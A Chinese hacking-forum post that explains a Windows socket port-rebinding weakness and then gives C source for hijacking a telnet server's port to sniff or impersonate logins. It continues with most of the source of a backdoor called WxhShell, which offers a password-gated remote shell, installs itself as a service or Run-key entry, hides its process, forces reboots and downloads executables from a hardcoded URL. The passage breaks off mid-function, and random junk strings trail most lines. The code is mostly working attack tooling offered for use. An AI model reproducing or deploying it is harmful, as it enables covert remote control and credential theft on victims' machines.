社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18471阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "S`wwl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &o@5%Rz2/  
?w/nZQWi  
  saddr.sin_family = AF_INET; ~iZF~PQ1_  
F |81i$R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vor9 ?F&w  
SsX05>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B:4qW[U#  
[E (M(w':  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \)ZX4rs{8  
HF+fk*_Q  
  这意味着什么?意味着可以进行如下的攻击: *u'`XRJU/  
&6=ZT:.6Te  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }]+}Tipd  
ws>Iyw.u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r/sRXM:3cZ  
-#;VFSz,9*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0Y*gJ!a  
o!r4 frP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5qQ(V)ah  
' 5 qL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )^S^s >3  
h$ iyclX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qfu*F}  
b%f2"e0g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G!LNP&~  
vKf;&`^qE  
  #include "rDzrz  
  #include _AHB|P I  
  #include `[` *@O(y  
  #include    #u5;utY:F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'A(-MTd%  
  int main() 5`'au61/2  
  { $_7d! S"  
  WORD wVersionRequested; _B7?C:8Q-  
  DWORD ret; :mV7)oWH  
  WSADATA wsaData; hOLy*%  
  BOOL val; X.AWs=:-  
  SOCKADDR_IN saddr; ^_S-s\DW  
  SOCKADDR_IN scaddr; JvWs/AG1  
  int err; '"fU2M<.  
  SOCKET s; F;&f x(  
  SOCKET sc; A"<)(M+kG  
  int caddsize; ^%8Hvy  
  HANDLE mt; ]7R&m)16  
  DWORD tid;   yZ~eLWz  
  wVersionRequested = MAKEWORD( 2, 2 ); vb.Y8[  
  err = WSAStartup( wVersionRequested, &wsaData ); . I&)MZ>n  
  if ( err != 0 ) { yw Q!9 \  
  printf("error!WSAStartup failed!\n"); Rw ao5l=x  
  return -1; -2jBs-z  
  } 0O['-x  
  saddr.sin_family = AF_INET; seqF84Xd<  
   K0DXOVT\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gC_s\WU  
Aiks>Cyi23  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $6&GAJe  
  saddr.sin_port = htons(23); @F(3*5c_Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &b@!DAwAJ  
  { ~q]|pD"\K|  
  printf("error!socket failed!\n"); JPTI6"/  
  return -1; cxP9n8CuT  
  } r@ T-Hi  
  val = TRUE; XC/]u%n8](  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mcz(,u}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) il>x!)?o  
  { n2y/zP>TC  
  printf("error!setsockopt failed!\n"); spSN6 .j  
  return -1; d[>N6?JA/  
  } O2'bNR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sQ>B_Y!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A"bSNHCKF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;*)fO? TG)  
@cS1w'=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B~_,>WG  
  { z"s%#/#  
  ret=GetLastError(); CNpe8M=/3  
  printf("error!bind failed!\n"); K5)yM @cq  
  return -1; {sna)v$;  
  } X8,7_D$  
  listen(s,2); 7i+!^Qj?y  
  while(1) B::4Qme  
  { ,yM}]pwlB  
  caddsize = sizeof(scaddr); ,. 6J6{  
  //接受连接请求 2Pem%HE~P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8=n9hLhqo  
  if(sc!=INVALID_SOCKET) ni"$[8U  
  { e0~sUVYf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O7'<I|aD  
  if(mt==NULL) r{_B:  
  { [B"dH-r7  
  printf("Thread Creat Failed!\n"); i!1ho T$  
  break; =YXe1$ $  
  } EZ%w=  
  } Uxk[O  
  CloseHandle(mt); 5M<' A=  
  } :~ZqB\>i  
  closesocket(s); !y qa?\v9  
  WSACleanup(); *%OYAsc  
  return 0; d4y9AE@k  
  }   PkPDVv  
  DWORD WINAPI ClientThread(LPVOID lpParam) Uw2,o|=O  
  { m?D <{BQ;  
  SOCKET ss = (SOCKET)lpParam; }XGMa?WR  
  SOCKET sc; !cEbz b  
  unsigned char buf[4096]; ~|y^\U@  
  SOCKADDR_IN saddr; G%P>A g  
  long num; Ci7P%]9  
  DWORD val; lC'{QUC  
  DWORD ret; C%}]"0Q1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V-KL%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Snc; p  
  saddr.sin_family = AF_INET; (~j,mk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y*VQ]aJ  
  saddr.sin_port = htons(23); X(Y#9N"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v`#j  
  { ?a'6EAErC  
  printf("error!socket failed!\n"); H&w:`JYDL3  
  return -1; ^[{`q9A#d  
  } K3vseor  
  val = 100; \H Wcd|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0>,.c2),  
  { YSR mt/  
  ret = GetLastError(); &8[ZN$Xe"  
  return -1; !dU9sB2  
  } EMVk:Vt]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '|vD/Qf=&  
  { w)+wj[6 E  
  ret = GetLastError(); X+=-f^)&  
  return -1; ,HFs.9#&B  
  } -PNi^ K_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S~KS9E~\  
  { NH7`5mF$  
  printf("error!socket connect failed!\n"); J|V K P7  
  closesocket(sc); Z[",$Lt  
  closesocket(ss); e^j<jV`1  
  return -1; 2O eshkE  
  } 2t+D8 d|c<  
  while(1) "-w ^D!C  
  { *IC^IC:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 95=g Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >T<6fpXuk2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AY#wVy  
  num = recv(ss,buf,4096,0); 6cJ<9i &  
  if(num>0) qE )Y}oN  
  send(sc,buf,num,0); JnfqXbE  
  else if(num==0) Z&_y0W=t  
  break; 6+.>5e  
  num = recv(sc,buf,4096,0); t/}L36@+  
  if(num>0) \tY"BC4.  
  send(ss,buf,num,0); qu_)`wB  
  else if(num==0) =I2@/,  
  break; #~L!pKM  
  } -<_QF82  
  closesocket(ss); o]Gguw5W{  
  closesocket(sc); X0`j-*,FX  
  return 0 ; tQWWgLM  
  } )zU:  
i[\w%(83Fi  
LheFQ A  
========================================================== #ZJMlJ:q`"  
o\Uu?.-<  
下边附上一个代码,,WXhSHELL tJNIr5o  
2-~|Z=eGW  
========================================================== w5`#q&?  
B MM--y@  
#include "stdafx.h" Ojq]HM6f  
F$Hx`hoy  
#include <stdio.h> gV8"V Zg2  
#include <string.h> Y25^]ON*\^  
#include <windows.h> Us,)]W.S  
#include <winsock2.h> DECB*9O ^  
#include <winsvc.h> [#Y' dFQ  
#include <urlmon.h> wJe?t$ac?  
Rf)ke("  
#pragma comment (lib, "Ws2_32.lib") /@hJpz|+   
#pragma comment (lib, "urlmon.lib") 0"78/6XIs  
3GF2eS$$P  
#define MAX_USER   100 // 最大客户端连接数 SRZL\m}  
#define BUF_SOCK   200 // sock buffer +L0w;wT  
#define KEY_BUFF   255 // 输入 buffer ]ab#q=  
7{e=="#*  
#define REBOOT     0   // 重启 lT'9u,6   
#define SHUTDOWN   1   // 关机 X8i(~ B  
*FK`&(B+}  
#define DEF_PORT   5000 // 监听端口 YuQ~AE'i  
DVlJ*A  
#define REG_LEN     16   // 注册表键长度 %T!J$a)qf  
#define SVC_LEN     80   // NT服务名长度 er2cQS7R  
Dzl;-]S  
// 从dll定义API bUZ_UW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +pf5\#l?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9XLFHV("  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <@G8ni  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #]E(N~  
\L # INP4~  
// wxhshell配置信息 y<- _(^  
struct WSCFG { t P"\J(x  
  int ws_port;         // 监听端口 ff e1lw%  
  char ws_passstr[REG_LEN]; // 口令 !2tW$BP^  
  int ws_autoins;       // 安装标记, 1=yes 0=no =8Ehrlq  
  char ws_regname[REG_LEN]; // 注册表键名 LOvHkk@+  
  char ws_svcname[REG_LEN]; // 服务名 nwA8ALhE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ; A,#;%j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jZpa0grA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6G AaV[])'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no usFfMF X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x%N\5 V1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a|4~NL  
_Ov;4nt!  
}; +G F#?X0^  
zR;X*q"T$4  
// default Wxhshell configuration m ee$"Y  
struct WSCFG wscfg={DEF_PORT, Zg~nlO2  
    "xuhuanlingzhe", @+LfQY  
    1, $t~@xCi]S  
    "Wxhshell", :hRs`=d"r  
    "Wxhshell", p\p\q(S">  
            "WxhShell Service", a4 MZ;5  
    "Wrsky Windows CmdShell Service", Ge+0-I6Ju  
    "Please Input Your Password: ", 1f'Hif*r_X  
  1, Oakb'  
  "http://www.wrsky.com/wxhshell.exe", ^|!I +  
  "Wxhshell.exe" C? 4JXW  
    }; ? "/ fPV-  
1oLv.L  
// 消息定义模块 l_rn++  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .7NNT18  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .@q-B+Eg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G oM ip8'u  
char *msg_ws_ext="\n\rExit."; 8.J( r(;>  
char *msg_ws_end="\n\rQuit."; |RkcDrB~  
char *msg_ws_boot="\n\rReboot..."; )E#2J$TD  
char *msg_ws_poff="\n\rShutdown..."; fBn"kr;  
char *msg_ws_down="\n\rSave to "; Z?P~z07  
g*UMG>  
char *msg_ws_err="\n\rErr!";  +=q)  
char *msg_ws_ok="\n\rOK!"; }@1q@xU  
B/JO~;{  
char ExeFile[MAX_PATH]; +  @9.$6N  
int nUser = 0; *OJ/V O  
HANDLE handles[MAX_USER]; N,dT3we  
int OsIsNt; WtulTAfN  
$''?HjB}T  
SERVICE_STATUS       serviceStatus; eN? Y7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K,'*Dz  
._w8J"E5  
// 函数声明 IQ< MyB(  
int Install(void); w%AcG~`j!B  
int Uninstall(void); :2 >hoAJJ  
int DownloadFile(char *sURL, SOCKET wsh); u%/fx~t$  
int Boot(int flag); g]c[O*NTL  
void HideProc(void); 4/kv3rv  
int GetOsVer(void); 3A:q7#m  
int Wxhshell(SOCKET wsl); =*qD4qYA  
void TalkWithClient(void *cs); \Ng\B.IQ  
int CmdShell(SOCKET sock); ?[<Tx-L  
int StartFromService(void); *-W#G}O0  
int StartWxhshell(LPSTR lpCmdLine); /={Js*  
&AVpLf:?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  T9)nQ[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hz;|NW{u  
8dD2  
// 数据结构和表定义 -K,-h[ o  
SERVICE_TABLE_ENTRY DispatchTable[] = |7,L`utp  
{ S##1GOO  
{wscfg.ws_svcname, NTServiceMain}, NN0$}acp  
{NULL, NULL}  ~>O)  
}; uw\2qU3gk  
0]QRsVz+  
// 自我安装 ES~^M840f  
int Install(void) I? THa<  
{ `l2O?U-@  
  char svExeFile[MAX_PATH]; iGB_{F~t4}  
  HKEY key; 4'$g(+z  
  strcpy(svExeFile,ExeFile); />'V!iWyz  
Om{l>24i.\  
// 如果是win9x系统,修改注册表设为自启动 b'MSkEiQG  
if(!OsIsNt) { oH0X<'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ReiB $y6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 08X_}97#WF  
  RegCloseKey(key); '(? uPr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { izh<I0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K{n{KB&_&  
  RegCloseKey(key); G}5#l  
  return 0; q$1PG+-  
    } z <mK>$  
  } J=.`wZQkS  
} dz~co Z9  
else { WI]o cF  
>!_Xgw  
// 如果是NT以上系统,安装为系统服务 OD' ]:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); | mu+9   
if (schSCManager!=0) BCe_@  
{ iU6Gp-<M ,  
  SC_HANDLE schService = CreateService w9 w%&{j  
  ( Fnk_\d6Ma  
  schSCManager, s1|/S\   
  wscfg.ws_svcname, >]o}}KF?  
  wscfg.ws_svcdisp, M#|dIbns H  
  SERVICE_ALL_ACCESS, n G_6oe*=I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hw#d_P:  
  SERVICE_AUTO_START, cyxuK*x<  
  SERVICE_ERROR_NORMAL, As+t##gN  
  svExeFile, JdZ+Hp3.  
  NULL, GUslPnG  
  NULL, AoA!q>  
  NULL, 52upoU>}2  
  NULL, -,K!  
  NULL =^ T\Xs;GK  
  ); -W,}rcj*|  
  if (schService!=0) j~j\\Y  
  { hzk6rYg1  
  CloseServiceHandle(schService); EyY.KxCB  
  CloseServiceHandle(schSCManager); NBb6T V}j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lO2[JP  
  strcat(svExeFile,wscfg.ws_svcname); sg E-`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y4+ ;z2' >  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pm{|?R  
  RegCloseKey(key); u&wiGwF[  
  return 0; 5BBD.!  
    } W2uOR{ '?  
  } pRSOYTebP  
  CloseServiceHandle(schSCManager); &@ JvnO:  
} []s^   
} !x'/9^i~v  
vM_:&j_?``  
return 1; G%d (  
} t43)F9!  
u^029sH6j  
// 自我卸载 43V}# DA@  
int Uninstall(void) wgd/(8d  
{ xeGb?DPu  
  HKEY key; TIvRhbu  
~}Rj$%_  
if(!OsIsNt) { 'U'yC2BI n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BC'llD  
  RegDeleteValue(key,wscfg.ws_regname); FZ8b7nJ)4m  
  RegCloseKey(key); l3 DYg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T6ENtp  
  RegDeleteValue(key,wscfg.ws_regname); /PsnD_s]5  
  RegCloseKey(key); ws^4?O  
  return 0; ^_lzZOhG  
  } -(K9s!C!.  
} ;NlWb =  
} Hr$QLtr  
else { s=42uKz  
qY[xpm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KF4PJi;*  
if (schSCManager!=0) fU!<HD h  
{ N!`e}Z6S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vB+ '  
  if (schService!=0) d:yqj:  
  { H*9~yT' Q  
  if(DeleteService(schService)!=0) { /a6Xa&(B  
  CloseServiceHandle(schService); "+unS)M;Y  
  CloseServiceHandle(schSCManager); ur$l Z0  
  return 0; #h/Mbj~S  
  } t'ZWc\  
  CloseServiceHandle(schService); DfKr[cqLM  
  } >|;aIa@9  
  CloseServiceHandle(schSCManager); VWO9=A*Y|  
} t:fFU1x  
} Qqlup  
uw2hMt (N  
return 1; "9n3VX)  
} >a}f{\Q  
f^VP/rdg  
// 从指定url下载文件  @Pt="*g  
int DownloadFile(char *sURL, SOCKET wsh) MQ"xOcD*F  
{ H9CS*|q6r  
  HRESULT hr; q/n,,!  
char seps[]= "/"; +a*tO@HG  
char *token; Qca&E`~Q  
char *file; 9*a=iL*Nw  
char myURL[MAX_PATH]; O|w J)  
char myFILE[MAX_PATH]; p QizJ6  
w}=5ElB  
strcpy(myURL,sURL); H<3I 5Kgt  
  token=strtok(myURL,seps); []D@Q+1  
  while(token!=NULL) NC38fiH_N  
  { 4R\ Hpt  
    file=token; x7$}8LZ"B  
  token=strtok(NULL,seps); #t+d iR  
  } _8E/) M  
q`r**N+zn  
GetCurrentDirectory(MAX_PATH,myFILE); Dtj&W<NXo  
strcat(myFILE, "\\"); RU\/j%^  
strcat(myFILE, file); *M"}z  
  send(wsh,myFILE,strlen(myFILE),0); Sy 'Dp9!|  
send(wsh,"...",3,0); k5T,990  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZMq6/G*fD  
  if(hr==S_OK) (P$H<FtH  
return 0; v\{!THCSh  
else B $mX3B+a  
return 1; {E8~Z8tT  
5D'\b}*lJ}  
} 15sp|$&`  
9th,VnD0  
// 系统电源模块 cMOyo<F#^=  
int Boot(int flag) ~Rr~1I&mR,  
{ }B1!gz$YNO  
  HANDLE hToken; hyFyP\u]  
  TOKEN_PRIVILEGES tkp; UNBH  
%QP0  
  if(OsIsNt) { _D+J!f^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f=9|b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZEx}$<)_  
    tkp.PrivilegeCount = 1; pS7w' H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - RU=z!{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \:UIc*S  
if(flag==REBOOT) { a5 TioQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @ rc{SB  
  return 0; n~V ]Z  
} N=7pK&NHSG  
else { p|p l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :w^Ed%>y7  
  return 0; LBZ+GB  
} W}mn}gTQ  
  } FFEfI4&SfS  
  else { D-._z:_  
if(flag==REBOOT) { mmk=97  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xx>X5Fy  
  return 0; Fkd+pS\9g~  
} L bmawi^  
else { jr:7?8cH0L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "[ZB+-|[0  
  return 0; tu66'z  
} oc>{?.^  
} dx@-/^.  
#;2n;.a  
return 1; (bH`x]h#  
} MjC_ (cs  
HK0! P*  
// win9x进程隐藏模块 fUA uqfj[  
void HideProc(void) :x4|X8>  
{ _v> }_S  
f@|A[>"V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P 'od`  
  if ( hKernel != NULL ) t^G"f;Ra+  
  { LQRQA[^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M:[ %[+6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ay0U=#XP  
    FreeLibrary(hKernel); EWkLXU6t  
  } n|RJ;d30Q  
9\BT0kx  
return; os:A]  
} a C\MJ9  
]rH\`0  
// 获取操作系统版本 TU,s*D&e  
int GetOsVer(void) 'R'*kxf  
{ 8"8t-E#?  
  OSVERSIONINFO winfo; ($;77fPR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Sy<@oq  
  GetVersionEx(&winfo); afuOeZP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yDegcAn?  
  return 1; Z8@J`0x  
  else R\G0'?h >  
  return 0; 7'W%blg!V  
} IID-k  
1VG4S){}\9  
// 客户端句柄模块 d\|?-hY`[  
int Wxhshell(SOCKET wsl)  ~- _kM  
{ J\:R|KaP<p  
  SOCKET wsh; QSdHm  
  struct sockaddr_in client; ^cP!\E-^  
  DWORD myID; .*Ct bGw  
4~Vx3gEV:  
  while(nUser<MAX_USER) 6z#acE1)M  
{ /_AnP  
  int nSize=sizeof(client); vgH3<pDiU6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z<U-#k7nz  
  if(wsh==INVALID_SOCKET) return 1; YQ9'0F[l  
"4+ &-ms  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d iL +:H  
if(handles[nUser]==0) ~962i#&4  
  closesocket(wsh); |,gc_G  
else s%nUaWp~  
  nUser++; nYR#  
  } Sq/ qu-%X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ln')QN  
a eFe!`F  
  return 0; eTI%^d|  
} la0BiLzb]  
}Gz~nf%  
// 关闭 socket ;c-(ObSm  
void CloseIt(SOCKET wsh) |:q=T ~x  
{ ZM !CaR  
closesocket(wsh); %Gz0^[+  
nUser--; LtWP0@JA  
ExitThread(0); rzhWw-GY  
} sJ;g$TB  
 Ch&a/S}  
// 客户端请求句柄 s C%&cRQD  
void TalkWithClient(void *cs) g]<4&)~  
{ D/Z6C&/I  
DBW[{D E  
  SOCKET wsh=(SOCKET)cs; ,<n}W+3  
  char pwd[SVC_LEN]; @=bLDTx;c)  
  char cmd[KEY_BUFF]; ieDk;  
char chr[1]; ddJQC|xR}  
int i,j; #%a;"w  
@Owb?(6?  
  while (nUser < MAX_USER) { 5{|7$VqPF  
V)Z}En["1  
if(wscfg.ws_passstr) { d A@]!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]fx"4qKM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GY6`JWk  
  //ZeroMemory(pwd,KEY_BUFF); #|Y5,a ,{  
      i=0; NPhhD&W_  
  while(i<SVC_LEN) { 2Nu=/tMN  
cv-PRH#  
  // 设置超时 1L%CJ+Q#0i  
  fd_set FdRead; {C 6=[  
  struct timeval TimeOut; wa<MRt W=  
  FD_ZERO(&FdRead); aE`c%T):`  
  FD_SET(wsh,&FdRead); /f:dv?!km  
  TimeOut.tv_sec=8; Q8:Has  
  TimeOut.tv_usec=0; UldXYtGe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~bM4[*Q7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N=4G=0 `ke  
WZ-s--n#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y?[ v=j*U  
  pwd=chr[0]; 7]U"Z*  
  if(chr[0]==0xd || chr[0]==0xa) { "Q}#^h]F  
  pwd=0; 54gBJEhg  
  break; '-r).Xk  
  } r54&XE]O  
  i++; ;+W# 5<i  
    } Hbj,[$Jb  
Jv>gwV{  
  // 如果是非法用户,关闭 socket 03|PYk 6EW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kW2sY^Rg  
} #+:9T /*>0  
3C?f(J}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MuYk};f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m;H.#^b*  
]mo-rhDsM  
while(1) { > A Khf  
X> 1,!I9  
  ZeroMemory(cmd,KEY_BUFF); Y'c>:;JEe  
G3+.H  
      // 自动支持客户端 telnet标准   jlkmLcpf  
  j=0; T_i:}ul  
  while(j<KEY_BUFF) { 9E zj"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); whmdcVh.  
  cmd[j]=chr[0]; ?+_Gs;DGVE  
  if(chr[0]==0xa || chr[0]==0xd) { 6DM$g=/ '  
  cmd[j]=0; ,p4&g)o  
  break; E[2m&3&  
  } q+Lr"&'Q  
  j++; bt"W(m&f  
    } f1`gdQ)H  
qOe+ZAJ{%N  
  // 下载文件 w&$`cD  
  if(strstr(cmd,"http://")) { y[`l3;u:'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J,V9k[88  
  if(DownloadFile(cmd,wsh)) k&&2Tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~rlB'8j(  
  else a;rdQ>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1^vd@(lx  
  } KX!T8+Y  
  else { w Qgo N%  
5\N(PL  
    switch(cmd[0]) { W 0(_ ~  
  `{eyvW[Ks  
  // 帮助 AuUd e$l_  
  case '?': { VCu{&Sh*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TMAJb+@l:  
    break; c]$i\i#  
  } qd9cI&  
  // 安装 , `wXg  
  case 'i': { Da&vb D-Bg  
    if(Install()) ~res V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_AK `wR  
    else JIOh#VNU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9KKed47d/  
    break; O#x*iI%  
    } l\BVS)  
  // 卸载 uXI_M)  
  case 'r': { AK&S5F>D+B  
    if(Uninstall()) J c g,#@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B||*.`3gN  
    else Mx6@$tQ%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Flglj~7l  
    break; ;6gDV`Twy  
    } d{rQzia"mV  
  // 显示 wxhshell 所在路径 ~u)}ScTp  
  case 'p': { s4G|_==  
    char svExeFile[MAX_PATH]; T#M,~lD  
    strcpy(svExeFile,"\n\r"); ie;]/v a  
      strcat(svExeFile,ExeFile); r^h4z`:L  
        send(wsh,svExeFile,strlen(svExeFile),0); `k OD[*  
    break; ]P#XVDn+;  
    } P.6nA^hXB  
  // 重启 @'YS1N<  
  case 'b': { 6^%UU o%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @WJg WJm  
    if(Boot(REBOOT)) B,M(@5wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^cV;~&|.Xk  
    else { jH19k}D  
